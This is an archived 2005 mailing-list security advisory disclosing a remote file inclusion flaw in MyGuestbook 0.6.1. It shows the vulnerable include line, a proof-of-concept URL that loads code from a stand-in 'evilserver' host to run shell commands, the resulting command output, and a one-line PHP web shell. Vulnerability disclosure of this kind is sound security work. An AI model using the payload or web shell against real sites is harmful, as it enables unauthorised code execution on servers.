lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <20050705191759.M63265@soulblack.com.ar> Date: Tue Jul 5 20:28:18 2005 From: group at soulblack.com.ar (group@...lblack.com.ar) Subject: MyGuestbook Remote File Inclusion. =========================================================== ============================================================ Title: MyGuestbook Remote File Inclusion. Vulnerability Discovery: SoulBlack - Security Research - http://soulblack.com.ar Date: 05/07/2005 Severity: High. Remote Users Can Execute Arbitrary Code. Affected version: 0.6.1 (Only Tested in 0.6.1) Vendor: http://html-design.com/ ============================================================ ============================================================ * Summary * This is a simple MySQL based Guestbook. ------------------------------------------------------------- * Problem Description * The bug reside in form.inc.php3. Vulnerable Code <? include("$lang.lang.inc.php3"); ?> /* http://server/gb/form.inc.php3?lang=http://evilserver/cmd.gif?&cmd=id;uname%20-a;uptime uid=99(nobody) gid=99(nobody) groups=99(nobody) Linux cyan-1.farm.de 2.4.18custom_ko_w_ipsec #10 Fre Apr 19 13:05:46 CEST 2002 i686 unknown 6:51pm up 463 days, 15:43, 0 users, load average: 0.00, 0.01, 0.02 */ /* ------- cmd.gif ------- <? system($cmd); ?> */ ------------------------------------------------------------- ------------------------------------------------------------- * Fix * Contact the Vendor. ------------------------------------------------------------- * References * http://www.soulblack.com.ar/repo/papers/advisory/myguestbook_advisory.txt ------------------------------------------------------------- * Credits * Vulnerability reported by SoulBlack Security Research ============================================================ -- SoulBlack - Security Research http://www.soulblack.com.ar
Powered by blists - more mailing lists